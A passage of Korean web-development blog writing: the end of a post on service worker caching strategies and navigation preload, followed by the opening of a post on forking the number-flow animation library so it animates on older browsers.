Cache Storage와 fetch 이벤트가 재료라면, 전략은 조리법이다. 네 번째 질문은 리소스마다 두 가지를 되물으면 풀린다. **낡은 채로 보여도 되는가**, 그리고 **네트워크가 없을 때 어떻게 되어야 하는가.** 카탈로그는 The Offline Cookbook이 여덟 가지 서빙 패턴으로 정리해 두었지만[^10], 실무에서 이름으로 통용되는 것은 대체로 다섯 가지로 좁혀진다[^11].

| 전략                   | 동작                                     | 어울리는 리소스                   | 대가                        |
| ---------------------- | ---------------------------------------- | --------------------------------- | --------------------------- |
| cache-first            | 캐시 먼저, 없으면 네트워크에서 받아 저장 | 해시 박힌 정적 자산, 폰트, 이미지 | 갱신 신호 없이 낡을 수 있음 |
| network-first          | 네트워크 먼저, 실패하면 캐시             | HTML, 자주 바뀌는 API             | 매 요청이 네트워크를 기다림 |
| stale-while-revalidate | 캐시로 즉답하고 백그라운드에서 갱신      | 조금 낡아도 되는 것(아바타, 배지) | 한 번은 낡은 응답을 보여줌  |
| cache-only             | 캐시에만 묻는다                          | install 때 넣어둔 프리캐시 전용   | 캐시에 없으면 그대로 실패   |
| network-only           | 캐시를 아예 쓰지 않는다                  | 애널리틱스, POST 요청             | 오프라인 지원 없음          |

앞의 세 가지는 구현도 짧다. 다만 짧은 코드에도 지킬 규칙이 네 가지 있다. 앞 절의 clone 함정을 피하는 것, 실패 응답을 저장하지 않도록 `response.ok`를 확인하는 것(빼먹으면 404나 500이 캐시에 눌러앉는다), 조회와 저장을 같은 버킷으로 맞추는 것(전 버킷을 뒤지는 `caches.match()`로 조회하면 버킷을 나눈 의미가 사라지고, 청소 전의 옛 버킷이 먼저 걸릴 수도 있다), 그리고 저장을 `event.waitUntil()`로 떼어 응답을 붙들지 않는 것이다.

```javascript
async function cacheFirst(event, cacheName) {
  const cache = await caches.open(cacheName)
  const cached = await cache.match(event.request)
  if (cached) return cached
  const response = await fetch(event.request)
  if (response.ok) event.waitUntil(cache.put(event.request, response.clone()))
  return response
}

async function networkFirst(event, cacheName) {
  const cache = await caches.open(cacheName)
  try {
    const response = await fetch(event.request)
    if (response.ok) event.waitUntil(cache.put(event.request, response.clone()))
    return response
  } catch (error) {
    const cached = await cache.match(event.request)
    if (cached) return cached
    throw error
  }
}

async function staleWhileRevalidate(event, cacheName) {
  const cache = await caches.open(cacheName)
  const cached = await cache.match(event.request)
  const refresh = fetch(event.request).then((response) => {
    if (response.ok) event.waitUntil(cache.put(event.request, response.clone()))
    return response
  })
  event.waitUntil(refresh.catch(() => {}))
  return cached ?? refresh
}
```

세 함수가 모두 event를 받는 것은 우연이 아니다. `cache.put()`은 스펙상 응답 바디를 끝까지 읽은 뒤에야 끝나므로[^4], 저장을 `await`로 기다린 다음 응답을 돌려주면 브라우저는 본문이 전부 내려온 뒤에야 그 응답을 받는다. HTML을 network-first로 처리한다면 스트리밍 파싱이 통째로 사라지는 셈이다. 그래서 세 전략 모두 저장은 앞에서 본 `waitUntil`로 떼어, 응답은 곧바로 돌려주고 저장은 워커의 수명에 얹는다. staleWhileRevalidate에는 여기에 하나가 더 붙는다. 캐시로 즉답하고 나면 갱신 promise를 아무도 기다리지 않으므로, 갱신 fetch가 실패했을 때 unhandled rejection이 되지 않게 catch로 삼키고 그 promise를 `waitUntil`에 넘겨 유휴 종료에 잘리지 않게 하는 것까지가 한 세트다.

코드가 짧다고 실패 모드까지 단순한 것은 아니다. 각 전략이 어긋나는 지점을 하나씩 짚으면 이렇다. cache-first는 갱신 경로가 아예 없으므로, URL에 해시가 없는 리소스에 걸면 배포로도 못 고치는 낡은 응답이 남는다(청소는 뒤의 버전 전략 몫이 된다). network-first는 "실패"의 정의가 관건이다. `fetch()`는 연결이 아예 안 될 때만 reject하고, 연결은 되는데 하염없이 느린 상태(lie-fi)에서는 실패하지 않으므로, 타임아웃을 직접 걸어 캐시로 넘어가는 변형을 만들지 않으면 오프라인 폴백이 있어도 체감은 "무한 로딩"이 된다. stale-while-revalidate의 대가는 백그라운드 갱신이 성공했는지 사용자에게 알릴 방법이 없다는 것이다. 화면은 이미 낡은 버전으로 그려졌고, 새 응답은 다음 방문에야 보인다. cache-only는 프리캐시 목록 관리가 곧 가용성이라 목록에서 빠진 리소스가 바로 장애가 되고, network-only는 말 그대로 워커가 보태는 것이 없는 경로이니 애초에 `respondWith()`를 부르지 않고 통과시키는 편이 낫다(다음 질문에서 볼 오버헤드 때문이다).

이 다섯 이름은 업계 공용어에 가까워서, Workbox를 쓰게 되더라도 같은 이름의 클래스(`CacheFirst`, `NetworkFirst`, `StaleWhileRevalidate`, `CacheOnly`, `NetworkOnly`)를 그대로 만나게 된다[^11]. stale-while-revalidate는 책의 캐시 장에서 다룬 `Cache-Control: stale-while-revalidate`와 이름이 같은데, 우연이 아니라 같은 아이디어다. 낡은 것을 먼저 주고 뒤에서 갱신한다는 발상을 HTTP 헤더로 선언하느냐, 워커 코드로 직접 집행하느냐의 차이다.

그리고 이 다섯 가지가 전부는 아니다. 실전은 대부분 전략의 조합과 변형이다. network-first에 오프라인 안내 페이지를 폴백으로 붙이고, cache-first 미스에 "비슷한 캐시라도 찾아보는" 2차 조회를 붙이는 식이다. 2편에 나오는 "network-first + 오프라인 폴백"과 "cache-first + 변형 폴백"이 그 예이고, 위에서 말한 타임아웃 폴백도 network-first의 변형이다.

## 그래서 이걸 써야 하는가

마지막 질문이 남는다. 이 레이어에는 뚜렷한 대가가 있고, 대부분의 사이트에는 서비스 워커 캐싱이 필요하지 않을 가능성이 높다.

fetch 핸들러를 등록하는 순간, 그 오리진의 모든 요청은 서비스 워커를 경유한다. 워커가 잠들어 있었다면, navigation preload 같은 장치를 쓰지 않는 한 깨어나는 시간까지 내비게이션이 기다려야 한다. 워커가 요청 경로에 끼어드는 시간은 리소스 타이밍으로 직접 볼 수 있다. 워커가 제어하는 페이지의 navigation entry에서 `fetchStart - workerStart`가 그 구간이다. `workerStart`는 워커가 이미 떠 있으면 fetch 이벤트를 디스패치하기 직전에, 떠 있지 않으면 워커 스레드를 시작하기 직전에 찍히므로, 콜드일 때만 기동 시간을 포함하고 웜일 때는 디스패치와 핸들러 진입 비용만 남는다. 이 블로그에서 재보면 워커가 살아 있는 웜 상태에서는 2ms 안팎이다. 문제는 콜드 기동이고, 여기에 측정 함정이 하나 있다. DevTools가 붙어 있으면 워커가 유휴 종료되지 않아서, 개발자 도구를 열어둔 채로는 콜드 기동을 재현할 수 없다. 개발 중에는 빠져 보이다가 실사용자에게서만 나타나는 비용이라는 뜻이다. 실사용자에서의 크기는 [2편](/2026/08/service-worker-caching-2)의 실측에서 확인하는데, 미리 말해두면 워커 경유가 끼어든 이 블로그의 재방문자 TTFB는 평균 525ms 나빠졌다[^15].

브라우저 개발사도 이 비용을 심각하게 여긴다. 한때 PWA 판정 조건을 맞추려고 아무 일도 하지 않는 빈 fetch 핸들러를 넣는 관행이 퍼지자, Chrome은 112부터 콘솔 경고를 띄웠고, 그런 핸들러를 아예 건너뛰는 최적화는 115에서 기본 활성화됐다[^12]. 브라우저가 명시적으로 우회로를 만들 만큼의 비용이다. 보완 장치로는 navigation preload가 있다[^13]. activate에서 켜두면 내비게이션 요청을 워커 기동과 병렬로 먼저 출발시키고, fetch 핸들러는 그 결과를 `event.preloadResponse`로 받아 쓴다.

```javascript
self.addEventListener('activate', (event) => {
  event.waitUntil(self.registration.navigationPreload?.enable())
})

self.addEventListener('fetch', (event) => {
  if (event.request.mode === 'navigate') {
    event.respondWith(
      (async () => (await event.preloadResponse) ?? fetch(event.request))(),
    )
  }
})
```

기동 시간이 요청 앞에 끼어드는 대신 요청과 겹쳐 흐르게 되므로, network-first 내비게이션의 콜드 기동 비용을 상쇄하는 표준적인 해법이다.

파일명 해싱과 `Cache-Control`, CDN만으로 재방문 성능은 이미 상당 부분 해결된다. 책의 캐시 장에서 다룬 그 내용만 제대로 해도 대부분의 사이트는 충분하다. 서비스 워커 캐싱이 실질적인 가치가 있는 것은 오프라인이라는 요구사항이 실제로 있거나, 네트워크가 불안정한 환경의 사용자가 많거나, HTTP 캐시로는 표현할 수 없는 전략(2편의 RSC 처리 같은)이 필요할 때다.

여기까지를 한 번에 모으면 판단은 두 단계다. 먼저, 목표가 재방문 성능 하나라면 이 레이어는 답이 아닐 가능성이 높다. HTTP 캐시가 이미 해주는 일을 코드로 다시 만드는 셈인 데다 모든 요청에 워커 경유 비용이 얹히는데, 실제로 이 블로그의 실측에서는 재방문자 FCP가 평균 634ms 좋아지는 동안 TTFB가 앞서 말한 525ms만큼 나빠졌다. 성능 개선은 도입의 이유가 아니라 도입의 결과 중 하나이고, 좋아지는 지표와 나빠지는 지표가 함께 온다. 다음으로, 세 조건 중 하나라도 해당해 쓰기로 했다면 비용을 줄이는 방법은 이 글의 답들에 이미 나와 있다. 가로챌 필요가 없는 요청은 `respondWith()`를 부르지 않고 원래 경로로 통과시키고, 내비게이션에는 navigation preload를 켜고, 리소스마다 두 질문으로 전략을 고르고, 버전 붙은 버킷으로 옛 캐시 청소를 설계하고, 배포 전후를 비교할 실사용자 지표를 먼저 갖추는 것이다.

결국 이 레이어는 HTTP 캐시가 공짜로 해주던 일들을 코드로 넘겨받는 대신 요청 경로에 대한 완전한 제어권을 얻는 거래다. 프록시라는 위치, TTL 없는 저장소, 대기가 기본인 라이프사이클, 두 질문으로 고르는 전략까지는 어느 프레임워크에서든 같은 부분이고, 다른 것은 그 위에 올라오는 요청의 모양이다. [2편](/2026/08/service-worker-caching-2)에서는 이 일반론을 Next.js App Router 위의 실제 블로그에 적용하며 만난 함정들(소프트 내비게이션, 프리페치, `next/image`)과, 그 결과를 GA4 실사용자 데이터로 확인한 기록을 다룬다.

---

[^1]: [Service Worker API](https://developer.mozilla.org/en-US/docs/Web/API/Service_Worker_API), MDN. 프록시 서버로서의 성격, 수명과 이벤트 모델, 상태(state)와 HTTPS 요건을 개괄한다.

[^2]: [FetchEvent](https://developer.mozilla.org/en-US/docs/Web/API/FetchEvent) 및 [Request.destination](https://developer.mozilla.org/en-US/docs/Web/API/Request/destination), MDN.

[^3]: [Service worker caching and HTTP caching](https://web.dev/articles/service-worker-caching-and-http-caching), web.dev. 두 캐시 레이어의 조회 순서와 만료 정책 설계 지침을 다룬다.

[^4]: [Cache](https://developer.mozilla.org/en-US/docs/Web/API/Cache), MDN. put/match/keys의 목록과 개요를 담는다. match 옵션(ignoreSearch, ignoreVary 등)은 [Cache.match](https://developer.mozilla.org/en-US/docs/Web/API/Cache/match)에, keys()가 삽입 순서를 보장한다는 점("The requests are returned in the same order that they were inserted.")은 [Cache.keys](https://developer.mozilla.org/en-US/docs/Web/API/Cache/keys)에 명시되어 있다. 저장이 응답 바디를 끝까지 읽은 뒤에야 끝난다는 규칙은 [스펙의 Cache.put 알고리즘](https://w3c.github.io/ServiceWorker/#cache-put)에 정의되어 있다.

[^5]: [Storage quotas and eviction criteria](https://developer.mozilla.org/en-US/docs/Web/API/Storage_API/Storage_quotas_and_eviction_criteria), MDN. 저장 공간 압박 시 origin 단위 LRU 축출을 설명하며, IndexedDB와 Cache API 데이터가 함께 삭제된다고 명시한다.

[^6]: [Full Third-Party Cookie Blocking and More](https://webkit.org/blog/10218/full-third-party-cookie-blocking-and-more/), WebKit Blog. 7일간 상호작용이 없으면 서비스 워커 등록과 캐시를 포함한 스크립트 기록 가능 저장소를 삭제하는 정책을 설명한다.

[^7]: [storage/common/quota/padding_key.cc](https://chromium.googlesource.com/chromium/src/+/main/storage/common/quota/padding_key.cc), Chromium 소스. `ShouldPadResponseType()`이 opaque와 opaqueRedirect 응답을 패딩 대상으로 고르고, `ComputeRandomResponsePadding()`이 `raw_random % kPaddingRange`를 돌려준다. `kPaddingRange`는 `14431 * 1024`, 약 14.1MB다. 응답 크기를 통해 교차 출처 정보가 새는 것을 막으려는 장치다.

[^8]: [Service Worker 스펙의 업데이트 알고리즘](https://w3c.github.io/ServiceWorker/#update-algorithm). registration이 stale(마지막 업데이트 확인 후 24시간 경과)이면 HTTP 캐시를 우회하는 규칙이 정의되어 있다. `updateViaCache` 옵션 자체는 [MDN의 register() 문서](https://developer.mozilla.org/en-US/docs/Web/API/ServiceWorkerContainer/register)를 참고.

[^9]: [Removing buggy service workers](https://developer.chrome.com/docs/workbox/remove-buggy-service-workers), Chrome for Developers. 같은 URL에 fetch 핸들러 없는 no-op 워커를 배포해 잘못된 워커를 무력화하는 절차와, 보조 수단인 `Clear-Site-Data` 헤더를 설명한다.

[^10]: [The Offline Cookbook](https://web.dev/articles/offline-cookbook), web.dev (Jake Archibald). 캐싱 전략들의 표준 카탈로그로 통용되는 문서다.

[^11]: [workbox-strategies](https://developer.chrome.com/docs/workbox/modules/workbox-strategies), Chrome for Developers. 다섯 전략이 같은 이름의 클래스로 제공된다.

[^12]: [Intent to Ship: Skip service worker no-op fetch handler](https://groups.google.com/a/chromium.org/g/blink-dev/c/tEFS0BH8UmE), blink-dev. Chrome 112부터의 콘솔 경고와 no-op 핸들러 스킵 최적화의 배경을 설명한다. 최적화가 기본 활성화된 버전은 [Chrome Platform Status 항목](https://chromestatus.com/feature/5136946693668864)에서 115로 확인된다.

[^13]: [NavigationPreloadManager](https://developer.mozilla.org/en-US/docs/Web/API/NavigationPreloadManager), MDN.

[^14]: [Application Cache is a Douchebag](https://alistapart.com/article/application-cache-is-a-douchebag/), Jake Archibald, A List Apart (2012). AppCache의 암묵적 규칙들이 어떻게 개발자의 의도를 배신하는지 정리한, 이 API의 폐기를 상징하게 된 글이다.

[^15]: 이 평균은 대부분 꼬리가 만든 값이다. 격차의 70%가 상위 10%에서 나오고 중앙값 이동은 134ms이며, TTFB가 10초를 넘긴 이벤트 26건(표본의 1.4%)만으로 평균 격차의 57%가 설명된다. 이 수치를 다시 읽는 일은 [3편](/2026/08/service-worker-caching-3)에서 다룬다.

---

Source: https://yceffort.kr/2026/08/number-flow-fork-for-old-browsers.md
Title: <em>number-flow</em>를 구형 브라우저로 이식하기: 다섯 가지 결정과 두 가지 번복
Description: number-flow가 애니메이션을 켜는 최소 버전은 Chrome 125, Safari 17.2다. 이 하한을 Chrome 66과 WebKit 16.4까지 내리는 포크를 만들면서 내린 결정들과, 뒤집게 된 판단 두 가지, 그리고 자동 강등을 포기한 Safari 버그 조사의 기록.
Date: 2026-08-11
Tags: javascript, animation, web-animations-api, browser-compatibility, frontend

## Table of Contents

## 숫자 두 개에서 시작한 일

Chrome 125, Safari 17.2. 숫자 카운터 애니메이션 라이브러리 [number-flow](https://github.com/barvian/number-flow)가 애니메이션을 켜기 위해 요구하는 사실상의 최소 버전이다. 라이브러리 자체는 그보다 낮은 버전에서도 로드되고 값도 정확히 렌더링되지만, 애니메이션은 조용히 꺼진다. 숫자가 굴러가는 대신 즉시 교체된다.

이 하한은 지원에 소홀해서가 아니라 오히려 설계가 급진적이어서 생긴다. number-flow는 자릿수 스핀을 CSS `mod()`/`round()` 수식으로, 스프링 곡선을 `linear()` easing으로, 애니메이션 가능한 커스텀 프로퍼티를 `@property`로 구현한다. 세 가지 전부 매 프레임 JS 개입 없이 브라우저 애니메이션 엔진에 일을 맡길 수 있게 해 주는 최신 CSS 기능이고, 세 가지 전부 있어야만 애니메이션이 켜진다. `mod()`가 Chrome 125부터, `linear()`가 Safari 17.2부터라서 교집합이 저 하한이 된다.

문제는 세상의 브라우저가 저 하한 아래에 아직 많다는 점이다. 이 라이브러리를 쓰고 싶었던 곳이 하필 그런 환경이었다. 업데이트가 멈춘 구형 Android WebView와, iOS 버전에 묶여 따라 올라가지 못하는 구형 Safari에서도 같은 애니메이션을 보여주고 싶었다. 같은 요구는 upstream 이슈 트래커에도 그대로 올라와 있다. iOS 17.2 미만에서 애니메이션이 돌지 않으니 `cubic-bezier()` 폴백이라도 달라는 요청([#131](https://github.com/barvian/number-flow/issues/131))과, 구형 Safari에서 동작하지 않는다는 제보([#164](https://github.com/barvian/number-flow/issues/164))가 열려 있다. 그래서 원본의 API와 시각 결과를 유지한 채 애니메이션 구동부만 교체해 하한을 Chrome 66과 WebKit 16.4(API 기준의 이론 하한은 iOS 13대)까지 내리는 포크 [yceffort/number-flow](https://github.com/yceffort/number-flow)를 만들었다.

이 글은 그 과정의 기록인데, 시간순 일지 대신 **결정 기록** 형식으로 정리해 봤다. 마이그레이션이라는 작업의 실체가 코드 작성보다는 연속된 판단에 가까웠기 때문이다. 내렸던 결정 다섯 개를 순서대로 적고, 뒤집었던 판단 두 가지는 "번복"으로 따로 적는다. 하나는 한 번에 뒤집혔고, 다른 하나는 세 번을 고쳐 쓰고서야 끝났다. 뒤집힌 결정이야말로 처음부터 알았더라면 좋았을 것들이라서다. 결정이라기보다 포기에 가까운 것도 하나 있는데, Safari의 자동 강등 이야기가 그렇다. 판단이 아니라 코드가 궁금한 쪽을 위해, 뒤쪽에 파일별로 무엇을 어떻게 왜 바꿨는지 정리한 변경 지도 절을 따로 두었다.

> 이 글의 코드 인용은 포크 [yceffort/number-flow `578d5f0`](https://github.com/yceffort/number-flow/tree/578d5f0)과 업스트림 [barvian/number-flow `a7b78f5`](https://github.com/barvian/number-flow/tree/a7b78f5)(number-flow 0.6.2) 기준이다. 검증 수치는 저장소 CI와 README에 기록된 것이다.

## 결정 1: 다시 쓰지 않고, 구동부만 갈아 끼운다

처음 원본 코드를 읽고 내린 결론은 "이 라이브러리의 자산은 애니메이션 코드가 아니다"였다. 진짜 자산은 그 아래에 있었다.

- 각 자릿수가 0~9 숫자를 전부 DOM에 가지고 현재 값만 보이게 하는 구조. 애니메이션이 어떻게 되든 접근성 트리와 텍스트는 항상 정확하다.
- `Intl.NumberFormat.formatToParts` 결과에 키를 부여해서, 자릿수·기호의 등장/퇴장/이동을 안정적으로 추적하는 diff 로직.
- 위아래로 스크롤되는 숫자를 자연스럽게 잘라내는 여섯 레이어 마스크 그래디언트 CSS.

이 자산들 위에 얹힌 애니메이션 실행부는 생각보다 얇았다. 실제로 `el.animate()`를 호출하는 곳은 [lite.ts](https://github.com/yceffort/number-flow/blob/578d5f0/packages/number-flow/src/lite.ts) 전체에서 일곱 곳뿐이다. 그래서 재작성이 아니라 vendoring을 택했다. 원본 소스를 그대로 가져오고, 일곱 곳의 호출부만 엔진 추상화 레이어 하나 뒤로 밀었다.

업스트림의 호출이 이런 형태라면:

```ts
// barvian/number-flow a7b78f5, lite.ts, Num.didUpdate
this.el.animate(
  {
    [dxVar]: [`${dx}px`, '0px'],
    [widthDeltaVar]: [dWidth, 0],
  },
  {
    ...this.flow.transformTiming,
    composite: 'accumulate',
  },
)
```

포크에서는 이렇게 바뀐다:

```ts
// yceffort/number-flow 578d5f0, lite.ts, Num.didUpdate
animate(
  this.flow,
  this.el,
  {
    [dxVar]: [`${dx}px`, '0px'],
    [widthDeltaVar]: [dWidth, 0],
  },
  this.flow.transformTiming,
)
```

`animate()`는 네이티브 경로가 가능하면 원본과 동일하게 `el.animate(..., { composite: 'accumulate' })`를 호출하고, 아니면 rAF 기반 폴백 엔진으로 넘긴다. 즉 모던 브라우저에서 이 포크는 원본과 완전히 같은 코드 경로를 탄다. 매 프레임 JS가 개입하지 않는 브라우저 네이티브 애니메이션이라는 성질도 그대로다. 엔진을 강제로 지정하지 않는 한, 폴백 엔진이 개입하는 것은 원본이 애니메이션을 포기하는 브라우저뿐이다.

vendoring의 부수 효과로 diff의 성격이 명확해졌다. 실제로 지금 두 저장소를 비교해 보면 `formatter.ts`와 util 파일들은 포매팅 차이를 빼고 의미상 100% 동일하고, 실질 변경은 `lite.ts`, `styles.ts`, `ssr.ts` 정도에 집중되어 있다. "무엇을 바꿨는가"가 diff로 증명되는 상태를 유지하는 것이 포크의 신뢰성에서 중요하다고 생각했다.

한 가지 덧붙이면, git fork 버튼 대신 새 저장소로 시작했다. 인프라를 통째로 바꾸고 싶었기 때문인데(pnpm 모노레포, oxlint/oxfmt, Vue/Svelte 래퍼와 문서 사이트 제거), 대신 커스텀 엘리먼트 이름을 `number-flow-yceffort-react`로 분리해서 마이그레이션 기간에 원본 `@number-flow/react`와 한 페이지에 공존할 수 있게 해 뒀다. 패키지도 alias로 코드 수정 없이 교체된다:

```json
"dependencies": {
  "@number-flow/react": "npm:@yceffort/number-flow-react@^0.1.0"
}
```

## 결정 2: 기능 감지의 질문을 바꾼다

업스트림의 애니메이션 게이트는 한 줄이다.

```ts
// barvian/number-flow a7b78f5, lite.ts
export const canAnimate = supportsMod && supportsLinear && supportsAtProperty
```

세 가지 CSS 기능이 전부 있는가. 이 질문에 대한 답이 곧 "애니메이션을 켤 것인가"였다. 포크에서 이 줄은 다음과 같이 바뀐다.

```ts
// yceffort/number-flow 578d5f0, lite.ts
// The rAF fallback engine only needs rAF itself; browsers that additionally
// support linear() + mod()/round() + @property get the original native path:
export const canAnimate =
  BROWSER && typeof requestAnimationFrame !== 'undefined'
```

세 기능의 감지 결과는 버려지지 않는다. [engine/index.ts](https://github.com/yceffort/number-flow/blob/578d5f0/packages/number-flow/src/engine/index.ts)의 `supportsNativeAnimations`로 이름이 바뀌어, "애니메이션이 되는가"가 아니라 "어느 엔진으로 돌릴 것인가"라는 질문에 답하게 된다. 같은 감지 코드의 역할이 게이트에서 라우터로 바뀐 셈이다.

여기에 테스트를 위한 수동 오버라이드를 추가했다. 모던 브라우저에서 폴백 엔진을 강제로 돌려볼 수단이 없으면 폴백 코드는 사실상 테스트 불가능한 죽은 경로가 되기 때문이다.

```ts
export type EngineMode = 'auto' | 'native' | 'raf'

export const setEngineMode = (m: EngineMode) => {
  mode = m
}
```

이 API는 나중에 예상하지 못한 두 번째 용도를 얻게 되는데, 그 이야기는 Safari 절에서 다시 나온다.

## 결정 3: composite: 'accumulate'를 시맨틱째 옮긴다

폴백 엔진을 설계할 때 가장 오래 고민한 지점이다. "구형 브라우저에서 rAF로 값을 트윈(tween, 매 프레임 중간값을 계산해 값을 옮기는 것)한다"까지는 누구나 떠올릴 수 있는데, 그 트윈이 **원본과 같은 시맨틱**이어야 한다는 조건이 문제를 어렵게 만든다.

number-flow의 애니메이션은 전부 `composite: 'accumulate'`로 실행된다. 각 애니메이션은 "현재 델타에서 0으로" 수렴하고, 같은 속성에 여러 애니메이션이 겹치면 브라우저가 그 기여분을 합산한다. 이 구조 덕에 숫자가 굴러가는 도중 새 값이 들어와도 애니메이션이 뚝 끊기지 않는다. 기존 애니메이션은 하던 감속을 계속하고, 새 델타만큼의 애니메이션이 하나 더 얹힐 뿐이다.

폴백을 "새 값이 오면 기존 트윈을 취소하고 새 트윈을 시작"으로 단순하게 만들면 이 시맨틱이 깨진다. 취소 시점의 위치에서 다시 시작하니 값 자체는 이어지지만, 감속하던 속도가 새 곡선의 가파른 초입으로 불연속하게 튀어서 연타할 때마다 미세하게 덜컥거린다. 원본과 비교 데모를 나란히 놓으면 바로 보이는 차이다.

그래서 엔진을 (요소, 속성) 채널 단위로 만들고, 채널이 활성 트윈들의 기여를 매 프레임 합산하게 했다.

```ts
// engine/index.ts
class Channel {
  readonly anims = new Set<JSAnimation>()

  apply(now: number) {
    let total = 0
    this.anims.forEach((anim) => {
      total += anim.valueAt(now)
      if (anim.done) this.anims.delete(anim)
    })
    this.applier(this.el, total, this.anims.size === 0)
    if (this.anims.size === 0) activeChannels.delete(this)
  }
}
```

각 트윈의 `valueAt`은 WAAPI와 같은 "델타에서 0으로"의 형태를 유지한다.

```ts
valueAt(now: number): number {
  if (this.done) return 0
  const t = (now - this._start) / this._duration
  if (t < 0) return 0
  if (t >= 1) {
    this._finish()
    return 0
  }
  return this._from * (1 - this._ease(t))
}
```

루프에는 rAF 외에 34ms짜리 `setTimeout` 백스톱(backstop, rAF가 멎었을 때 진행을 이어받는 안전장치)을 겹쳐 뒀다.

```ts
const ensureLoop = () => {
  rafId ??= requestAnimationFrame(tick)
  // rAF can be throttled or entirely absent (hidden pages, some old WebViews,
  // headless virtual time); a timer backstop keeps animations progressing:
  backstopId ??= setTimeout(tick, 34)
}
```

백그라운드 탭이나 일부 WebView에서 rAF는 심하게 스로틀되거나 아예 멈춘다. 퇴장 중이던 문자의 정리가 그 상태에서 멎으면 이전 값과 새 값이 겹쳐 보이는 상태로 방치될 수 있는데, 원본에도 같은 계열의 문제가 [이슈 #148](https://github.com/barvian/number-flow/issues/148)로 보고되어 있다(Android WebView에서 간헐적으로만 재현되어 원인은 아직 특정되지 않은 open 이슈다). 타이머는 rAF가 정상일 때는 매 프레임 취소되므로 비용이 없고, rAF가 멎었을 때만 진행을 이어받는다.

물론 백그라운드에서는 `setTimeout` 자체도 초 단위로, 오래 방치되면 분 단위까지 스로틀된다. 34ms가 지켜질 리 없다는 반론이 바로 나올 텐데, 그래도 목적에는 충분하다. 이 타이머가 보장하려는 것은 프레임 유지가 아니라 종결이기 때문이다. 트윈은 경과 시간 기준으로 계산되므로, 몇 초 만에 깨어난 tick 한 번이면 곧장 종료 상태로 건너뛰어 정리까지 끝난다.

## 결정 4: easing은 근사하지 않고 파싱한다

number-flow의 스프링 감속은 CSS `linear()` 함수에 90개의 샘플 포인트를 넣은 문자열로 정의되어 있다.

```ts
// lite.ts, 기본 spinTiming (중략)
easing: `linear(0,.005,.019,.039,.066,.096,.129,.165, ..., .9988,.9989,1)`,
```

폴백에서 이걸 어떻게 처리할지 선택지가 몇 개 있었다. 가장 쉬운 길은 "비슷한 느낌의 ease-out을 하드코딩"하는 것이고, 다음은 "기본 easing일 때만 미리 구운 커브를 쓰는 것"이다. 둘 다 버렸다. 이 포크의 검증 방식이 원본과 나란히 놓고 비교하는 데모였기 때문에, 곡선이 다르면 그 자체가 실패다. 그리고 `spinTiming` 등은 공개 API라 사용자가 임의의 easing 문자열을 넣을 수 있는데, 기본값만 특별 취급하면 API 호환을 주장할 수 없게 된다.

서론에서 언급한 upstream [#131](https://github.com/barvian/number-flow/issues/131)의 제보자도 `cubic-bezier()` 폴백이라도 달라고 요청하고 있었는데, 근사를 버린 덕에 이 포크의 답은 그 요청보다 한 걸음 더 간 형태가 됐다. 비슷한 곡선으로의 폴백이 아니라 같은 곡선이기 때문이다.

그래서 [engine/easing.ts](https://github.com/yceffort/number-flow/blob/578d5f0/packages/number-flow/src/engine/easing.ts)에 CSS easing 문자열의 파서를 만들었다.

- `linear(...)`: CSS 스펙대로 파싱한다. 퍼센트 위치 지정, 위치 생략 시 균등 배분, 단조 증가 강제까지 포함해서다. 재생 시에는 이진 탐색으로 구간을 찾아 선형 보간하는데, `linear()`는 스펙 자체가 stop 사이를 선형 보간하는 함수라서 이 재생은 근사가 아니라 부동소수점 오차 수준에서 동일한 곡선이다.
- `cubic-bezier(...)`: 표준 bezier-easing 알고리즘(Newton-Raphson, 수렴 실패 시 이분법)으로 구현했다.
- `steps(...)`: `jump-start`/`jump-end`/`jump-none`/`jump-both` 네 위치를 모두 지원한다.
- 키워드(`ease`, `ease-in-out` 등)는 대응하는 cubic-bezier로 치환한다.

파서를 스펙대로 쓰다 보면 스펙의 유효성 규칙도 따라와야 한다는 것을 리뷰 과정에서 배웠다. 예를 들어 `steps(1, jump-none)`은 CSS 스펙상 유효하지 않은 조합인데, 순진하게 계산하면 `step / (count - 1)`이 0으로 나누기가 되어 인라인 스타일에 `NaN`이 적히게 된다. 브라우저라면 파싱 단계에서 거부했을 입력이, JS 포팅에서는 명시적으로 거부하지 않으면 조용히 통과해 버린다.

## 결정 5: CSS 수식을 JS로 옮기되, 스타일시트가 소비하게 한다

자릿수 스핀의 핵심은 원본 스타일시트의 `mod()`/`round()` 수식이다. 각 숫자(`.digit__num`)가 현재 값과 자기 인덱스의 거리를 계산해 `--y`(translateY 퍼센트)를 얻는다. 구형 브라우저에는 `mod()`가 없으므로 이 수식을 JS로 포팅했다.

```ts
// engine/index.ts
const cssMod = (a: number, m: number) => ((a % m) + m) % m

// JS port of the .digit__num CSS formula from styles.ts (mod()/round() math):
export const digitYPercent = (c: number, length: number, n: number): number => {
  const raw = cssMod(length + n - cssMod(c, length), length)
  const offset = raw - length * Math.floor(raw / (length / 2))
  return clamp(-1, offset, 1) * 100
}
```

여기서 중요한 설계 원칙 하나를 지키려고 했다. 폴백 엔진은 **원본 스타일시트가 소비하는 값을 인라인으로 기록할 뿐**, 스타일시트 자체를 폴백용으로 갈라내지 않는다. `--_number-flow-dx`, `--scale-x`, `--y` 같은 커스텀 프로퍼티를 매 프레임 써 주면 나머지는 원본 CSS가 알아서 처리한다. 스타일시트가 두 벌이 되는 순간 시각적 동등성을 검증할 방법이 사라진다고 봤기 때문이다.

다만 애니메이션 밖에서도 `round()`를 쓰는 마스크·패딩 스타일은 어쩔 수 없이 이중 선언이 필요했고, 여기서 CSS의 오래된 함정을 하나 밟았다. `@supports`로 분기하면 되겠거니 했는데, 프로브에 `var()`가 들어가면 구형 브라우저에서 분기가 무의미해진다. [styles.ts](https://github.com/yceffort/number-flow/blob/578d5f0/packages/number-flow/src/styles.ts)의 주석에 남긴 그대로다: 값에 `var()`가 있으면 구형 브라우저가 파싱 단계에서 선언을 거부하지 못하고, 캐스케이드에서는 이긴 다음, computed-value 단계에서 무효가 되어 속성이 통째로 날아간다. 그래서 `@supports (padding: round(nearest, 0.125em, 1px))`처럼 프로브는 반드시 `var()` 없는 리터럴로 써야 했다.

## 검증: 지원 범위는 주장하지 않고 실행해서 증명한다

여기까지의 결정들은 전부 "구형 브라우저에서 돌아간다"는 주장을 만들기 위한 것인데, 이 주장은 성격상 최신 브라우저에서 아무리 테스트해도 증명되지 않는다. 폴백 경로를 `setEngineMode('raf')`로 강제해서 최신 Chrome에서 돌리는 것과, 진짜 Chrome 66에서 돌리는 것은 다른 일이다. 진짜 구형 브라우저에는 폴백 엔진이 우회하려는 기능만 없는 게 아니라, 폴백 엔진 자신이 쓰는 API가 없을 수도 있다.

